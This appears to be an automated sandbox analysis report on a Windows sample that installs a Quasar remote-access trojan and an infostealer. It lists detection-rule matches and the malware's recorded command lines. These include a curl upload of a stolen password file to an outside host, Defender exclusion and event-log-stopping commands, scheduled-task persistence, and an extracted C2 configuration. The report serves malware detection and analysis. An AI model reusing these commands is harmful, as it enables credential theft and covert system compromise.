4.0.Update.exe.790000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.0.Update.exe.790000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.0.Update.exe.790000.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28eed8:$x1: Quasar.Common.Messages 0x29f23c:$x1: Quasar.Common.Messages 0x2ab826:$x4: Uninstalling... good bye :-( 0x2ad01b:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
4.0.Update.exe.790000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aadd8:$f1: FileZilla\recentservers.xml 0x2aae18:$f2: FileZilla\sitemanager.xml 0x2aae5a:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab0a6:$b1: Chrome\User Data\ 0x2ab0fc:$b1: Chrome\User Data\ 0x2ab3d4:$b2: Mozilla\Firefox\Profiles 0x2ab4d0:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd47c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab628:$b4: Opera Software\Opera Stable\Login Data 0x2ab6e2:$b5: YandexBrowser\User Data\ 0x2ab750:$b5: YandexBrowser\User Data\ 0x2ab424:$s4: logins.json 0x2ab15a:$a1: username_value 0x2ab178:$a2: password_value 0x2ab464:$a3: encryptedUsername 0x2fd3c0:$a3: encryptedUsername 0x2ab488:$a4: encryptedPassword 0x2fd3de:$a4: encryptedPassword 0x2fd35c:$a5: httpRealm
4.0.Update.exe.790000.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab910:$s3: Process already elevated. 0x28ebd7:$s4: get_PotentiallyVulnerablePasswords 0x278c93:$s5: GetKeyloggerLogsDirectory 0x29e99b:$s5: GetKeyloggerLogsDirectory 0x28ebfa:$s6: set_PotentiallyVulnerablePasswords 0x2feaaa:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\AppData\Local\SecurityHealthServices.exe" , ParentImage: C:\Users\user\AppData\Local\SecurityHealthServices.exe, ParentProcessId: 7296, ParentProcessName: SecurityHealthServices.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 2004, ProcessName: powercfg.exe

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\Update.exe, ProcessId: 7180, TargetFilename: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\w85VkFOxiD.exe", ParentImage: C:\Users\user\Desktop\w85VkFOxiD.exe, ParentProcessId: 5804, ParentProcessName: w85VkFOxiD.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", ProcessId: 3336, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe", CommandLine: "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, NewProcessName: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, OriginalFileName: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Update.exe" , ParentImage: C:\Users\user\AppData\Roaming\Update.exe, ParentProcessId: 7180, ParentProcessName: Update.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe", ProcessId: 7428, ProcessName: RuntimeBroker.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\SecurityHealthServices.exe" , ParentImage: C:\Users\user\AppData\Local\SecurityHealthServices.exe, ParentProcessId: 7296, ParentProcessName: SecurityHealthServices.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7584, ProcessName: powershell.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\SearchServices.exe, ProcessId: 7556, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f, CommandLine: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Update.exe" , ParentImage: C:\Users\user\AppData\Roaming\Update.exe, ParentProcessId: 7180, ParentProcessName: Update.exe, ProcessCommandLine: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f, ProcessId: 7348, ProcessName: schtasks.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\w85VkFOxiD.exe", ParentImage: C:\Users\user\Desktop\w85VkFOxiD.exe, ParentProcessId: 5804, ParentProcessName: w85VkFOxiD.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", ProcessId: 3336, ProcessName: powershell.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 7008, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\SearchServices.exe" , ParentImage: C:\Users\user\AppData\Roaming\SearchServices.exe, ParentProcessId: 7556, ParentProcessName: SearchServices.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", ProcessId: 6668, ProcessName: cmd.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\SecurityHealthServices.exe" , ParentImage: C:\Users\user\AppData\Local\SecurityHealthServices.exe, ParentProcessId: 7296, ParentProcessName: SecurityHealthServices.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto", ProcessId: 2896, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\w85VkFOxiD.exe", ParentImage: C:\Users\user\Desktop\w85VkFOxiD.exe, ParentProcessId: 5804, ParentProcessName: w85VkFOxiD.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=", ProcessId: 3336, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f, CommandLine: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Update.exe" , ParentImage: C:\Users\user\AppData\Roaming\Update.exe, ParentProcessId: 7180, ParentProcessName: Update.exe, ProcessCommandLine: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f, ProcessId: 7348, ProcessName: schtasks.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\SecurityHealthServices.exe" , ParentImage: C:\Users\user\AppData\Local\SecurityHealthServices.exe, ParentProcessId: 7296, ParentProcessName: SecurityHealthServices.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7712, ProcessName: sc.exe

Snort Signatures

ET TROJAN Generic AsyncRAT Style SSL Cert - Source IP: 92.44.20.216 - Destination IP: 192.168.2.4

Timestamp:	05/12/24-23:37:07.083444
SID:	2035595
Source Port:	9733
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: w85VkFOxiD.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware

Found malware configuration

Source: 4.0.Update.exe.790000.0.unpack

Malware Configuration Extractor: Quasar {"Version": "1.4.1", "Host:Port": "bardu3662.duckdns.org:9733;", "SubDirectory": "ApplicationFrameHost", "InstallName": "RuntimeBroker.exe", "MutexName": "afa58199-2aae-4e08-8ef4-8e4ef39bc0aa", "StartupKey": "Update", "Tag": "Webhook", "LogDirectoryName": "Logs", "ServerSignature": "Q5N6/g9zFmxO1ScIoox3GiHa7JufFfLHKzumiV48m4+IZh/dhTG2RPevl5g2ETZSzFVErZ+quTEUAE+wxgqsMlH94VbyRf6QfSwMTzH0h86nD0UYfKTboIQiHb85oNid5seJILzBJiQ23tSDQHJffHYY8/pAFvkm3UmzN3YhcBVVq68UR3SdZ/ucI8Uk3riwaxUijxb0RwXJYsv5XsPwdCuLRH8VJH/3UQ5XAa05QeHKEFoVf+l6NCsxXv2CqsacdPX6E00JNbJRCw2Lncn4eyjYxsetdBNVUuWEXXdickbs6CsZQAEnaM9oie46IScSzgkq+AO/acun1gmfg4mF0kJy6hy/XPQF/JPhDGwJlpNWeOOJIR5vmck3tgJFWRuc+SjUOO6NFifMPl/qVSz8kY2u5DOoLegg5E+yilzTs1tZzZlRIoiZSR+qDI78VqLp132K9mZYE7hY1od+mn3ESj/5NFbycx/aebkvg7cmGGmJwrFfXlzn9aNrmmdLkEDRqNLfbDjoFYeX5PrI3WYaG2sWHHu2/WKPLczXCSvHPFvHIE0GCLS62DqnhgvEEx0uR+x9sJk0kxJBxRNIjK4JUssVX189xfFhWGIkHZgYxvrLqxPIJhXHRaFKddrjn2zdkemc1mLrGuCVc3trvZLfbErBrrJRZdv5Fw8EraN1kxU=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAPuDEcknjDYT2HqBiX26qTANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MDQyOTIxMjQ1OVoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAgQ20vEo+N2+LTOwPnW1Wb0vf92dR+r7EH01r29qEXKYU1huZoYQu5+JgazqBN8rZ/xANqydFHODfD+TJhLJKiJMw/8VY84epokrOc+MPVpKok59utEmYotaR4YpyPVvU0apiaojAIUJ0mGyvfougGroLp90jEo1YgraLHqvdfj89tbPgqqt2qVdYLnwIsZT4sa/qcH2ZsYU1/3JCk4hd3Q4/Pyz3oRsUNzyMPoPLcFL73vqxdNCa44zL8qYunOZmQtYzqNX+rPmiFUw6rSUpXUAmMFowbvvw3D7fse8SMYAe3q2rO0AO8VdtH8HWDRD3KYVdGhrUxVjPO1yfYKz4ogsn6pNl0SwzoiyfOT10dOtxiNbz/Ks/hTnmVWL3w4LQrnKc9qcgNjDRihFZOlsy66g6XTQnb7VySvqCiV1Huq0YbDwK/LvnzhFuhFD0v6rMkXa36zV4jzcKJgGgN2bdxK+g7uvR5jNz+KWtiS9zK0gWxgZnllvBp09mdfgeLqp3njgntwjO2TqG7Ed+qHnMVi+QwJzF5e6eXWFg7qToI5EfDmAMyLA4ctd3gEZi4kFfRCes5lueqP4G1liiyEiw1OE4PqWTVC8mFVwNbOkPXhazUYRb7kUIsc1IiQ15Wb/Ro5Ku/5CdxFqw3ZpgCyyJJt88eUIasOsrl0QjqzLzWpcCAwEAAaMyMDAwHQYDVR0OBBYEFMPwzjGDS28XbbYbAZPlhz5Is8bHMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAFcNuAqADUp7/FIBI24jlwN8dQAXr9YEOVFq8DaBEvzlFqZOx3dxCFJMXxWqkh0B9nNirCguc+7cCrQvJA6VTiUNqgEsyeIsdPgB3cx/T29Th5fCciOFXt4JcdynTKUBG9ebTbq+jTkuWTjjV9E8rRg4ArwBJnPb5paXYhJEEDgaUkejcKPyOBAYREzBS94eAw65gtV4pn796NZ1k01pz5Vjp5OJealPhFAVpjfoy6d8CiAZXkyGTm2hn3s4nBAx9U/cuckl3/NV3gbAeB97qcvXWrNJscJllGBxeiyp/PppT3BlaPWCgpI1i7EzBgfyvFDU/62vEPUzpLOqQFuXp1lqsgL3MQgjK9+dvGg5hr7gBgjf3l2lsvBJhaUNVQBzUTxDb8zUjfo7EPqJmsDcbHmbeuCU6eFlwicVVbr9x7QMLpc6al1Gdi525zy4lDdolBNzsl0qirQKwxeP7KGVTG7RtsVcYLo5R9rBmvdvV01gjGj43hSCAhtiLP8qy4WVl206qXpkrBSvroncxhDA0WWvUwP1II6WcZqPxHWh/kzd24Tl5UHYsTycAGAAUHPWxHOmryAGEAMbNX72ARlxnV9k8mIATWz402A4BbXzkID6BjnLOUctzhOv/SM+KDw+4gjFLIN1COzRzSRjCfoTiFlz+hWHNuW+xczOFxLhAnjT"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	ReversingLabs: Detection: 63%
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Virustotal: Detection: 63%	Perma Link
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Virustotal: Detection: 63%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Virustotal: Detection: 64%	Perma Link

Multi AV Scanner detection for submitted file

Source: w85VkFOxiD.exe	ReversingLabs: Detection: 68%
Source: w85VkFOxiD.exe	Virustotal: Detection: 58%			Perma Link

Yara detected Quasar RAT

Source: Yara match	File source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3077536564.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w85VkFOxiD.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Update.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: w85VkFOxiD.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: geolocation-db.com

Source: w85VkFOxiD.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 140.82.116.5:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.135.36.89:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49769 version: TLS 1.2

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680613542.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1681332783.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: SearchServices.exe, 00000005.00000003.1672142054.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673672705.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1670850717.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1677828242.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679851471.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673672705.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1681525909.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680388801.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
